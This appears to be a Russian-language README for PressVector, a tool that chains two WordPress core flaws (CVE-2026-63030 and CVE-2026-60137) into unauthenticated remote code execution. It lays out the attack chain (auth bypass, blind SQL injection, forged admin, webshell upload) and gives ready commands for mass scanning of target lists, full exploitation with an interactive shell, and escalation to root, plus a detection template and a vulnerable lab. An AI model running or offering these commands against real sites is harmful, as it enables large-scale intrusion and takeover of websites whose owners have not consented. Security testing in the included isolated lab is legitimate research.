
PressVector — продвинутый сканер уязвимостей WordPress CVE-2026-63030 (путаница пакетных маршрутов REST) / CVE-2026-60137 (SQLi) Разработчик: Vulnquest
⚡ Продвинутый фреймворк эксплуатации Pre-Auth RCE и Blind SQLi для ядра WordPress
PressVector — это комплексный, полностью автоматизированный фреймворк эксплуатации, нацеленный на CVE-2026-63030 и CVE-2026-60137 — две критические уязвимости в ядре WordPress, которые в совокупности позволяют выполнить удалённый код без аутентификации.
Фреймворк объединяет в цепочку REST Batch Route Confusion и слепую SQL-инъекцию для подделки административных сессий, развёртывания веб-шеллов и выполнения произвольных команд ОС — и всё это без каких-либо учётных данных.
⚠️ Только для авторизованного тестирования безопасности и образовательных целей.
CVE-2026-63030 — критическая уязвимость RCE с предварительной аутентификацией в ядре WordPress, обнаруженная Adam Kues (Assetnote / Searchlight Cyber). Эксплойт объединяет в цепочку две независимые уязвимости:
| CVE | Рекомендация | Тип | Воздействие |
|---|---|---|---|
| CVE-2026-63030 | GHSA-ff9f-jf42-662q | REST Batch Route Confusion | Pre-Auth RCE |
| CVE-2026-60137 | GHSA-fpp7-x2x2-2mjf | SQL-инъекция author__not_in | Pre-Auth Blind SQLi |
[Unauthenticated Attacker]
│
▼
[1] REST Batch Route Confusion (/batch/v1)
│ Bypass auth context — treat batch as internal
▼
[2] Blind SQLi via author__not_in parameter
│ Time-based binary search extraction
▼
[3] Extract table prefix + admin user ID
│
▼
[4] Forge admin user via UNION-based injection
│ Insert into wp_users + wp_usermeta
▼
[5] Authenticate & Upload webshell via Media API
│
▼
[6] Remote Code Execution 🎯
| Версия WordPress | Применимые CVE | Воздействие | Статус |
|---|---|---|---|
| 6.8.0 – 6.8.5 | CVE-2026-60137 | 🟡 Слепая SQLi (высокая) | ❌ Уязвима |
| 6.9.0 – 6.9.4 | CVE-2026-63030 + CVE-2026-60137 | 🔴 Pre-Auth RCE (критическая) | ❌ Уязвима |
| 7.0.0 – 7.0.1 | CVE-2026-63030 + CVE-2026-60137 | 🔴 Pre-Auth RCE (критическая) | ❌ Уязвима |
| 7.1-alpha / 7.1-beta1 | CVE-2026-60137 | 🟡 SQLi (высокая) | ❌ Уязвима |
| 6.8.6+ / 6.9.5+ / 7.0.2+ | — | ✅ Исправлено | ✅ Безопасна |
# Clone the repository
git clone https://github.com/vulnquest58/PressVector.git
cd PressVector
# No external dependencies required!
# Uses Python standard library only — Python 3.7+ required
python pressvector.py --help
pressvector.py — Основной фреймворк эксплуатацииПолнофункциональный фреймворк эксплуатации с 4 режимами работы.
scan — Многопелевой сканер уязвимостейБыстрый многопоточный сканер для обнаружения уязвимых установок WordPress в масштабе.
# Scan multiple targets from CLI
python pressvector.py scan http://target1.com http://target2.com
# Scan from a file list (10 threads)
python pressvector.py scan -f targets.txt -t 10
# Output as JSON
python pressvector.py scan -f targets.txt -t 10 --json
check — Подтверждение слепой SQLiПодтверждение time-based слепой SQL-инъекции на одной цели с калибровкой таймингов.
# Check a single target
python pressvector.py check http://target.com
# Custom delay and repeats for accuracy
python pressvector.py check http://target.com --delay 3.0 --repeats 5
exploit — Полная цепочка эксплуатации RCEПолная эксплуатация: подделка администратора → развёртывание веб-шелла → выполнение команд.
# Execute a single command
python pressvector.py exploit http://target.com -c "id"
# Interactive shell (full TTY-like experience)
python pressvector.py exploit http://target.com -i
# Through a proxy (Burp Suite / MITM)
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080
# Don't clean up artifacts after exploitation
python pressvector.py exploit http://target.com -c "whoami" --no-cleanup
privesc — Повышение привилегийПопытка локального повышения привилегий после получения RCE.
# Run privesc and get interactive root shell
python pressvector.py privesc http://target.com -i
# Run privesc without cleanup
python pressvector.py privesc http://target.com --no-cleanup
pressvector-wp2shell-detection.yaml — шаблон обнаружения NucleiГотовый к использованию в производственной среде шаблон Nuclei для крупномасштабного пассивного обнаружения.
# Run with Nuclei
nuclei -t pressvector-wp2shell-detection.yaml -u http://target.com
# Bulk scan
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -o results.txt
# With rate limiting
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -rl 50
Возможности шаблона:
Включена полностью автоматизированная контейнеризированная лаборатория для тестирования на проникновение, предназначенная для безопасной изолированной проверки этих уязвимостей.
Windows (PowerShell):
cd pressvector-lab
.\start-lab.ps1
Linux / macOS:
cd pressvector-lab
chmod +x start-lab.sh && ./start-lab.sh
(Подождите ~60–90 секунд при первом запуске, пока установщик WP-CLI автоматически настроит все сайты WordPress).
| Порт | Служба | Версия WordPress | Уязвимость / Статус |
|---|---|---|---|
| 8080 | Цель 1 | 6.8.5 | CVE-2026-60137 (только слепая SQLi) 🔴 |
| 8081 | Цель 2 | 6.9.4 | CVE-2026-63030 (Pre-Auth RCE) 🔴 |
| 8082 | Цель 3 | 7.0.1 | CVE-2026-63030 (Pre-Auth RCE) 🔴 |
| 8083 | Эталон | Последняя | Исправлено / Безопасный эталон ✅ |
| 8084 | PHPMyAdmin | — | Инструмент управления БД |
| 8085 | Панель лаборатории | — | Веб-интерфейс со статусом целей и копируемыми командами 🖥️ |
Учётные данные администратора: admin / admin123
Пароль root MySQL: root
Вы можете проверить всё состояние лаборатории и пути эксплуатации с помощью автоматизированного набора тестов:
# Run SQLi & RCE automated tests
python pressvector-lab/tests/run_all_tests.py
stop-lab.sh или .\stop-lab.ps1reset-lab.sh или .\reset-lab.ps1Дополнительные инструкции и сведения об устранении неполадок см. в Lab README.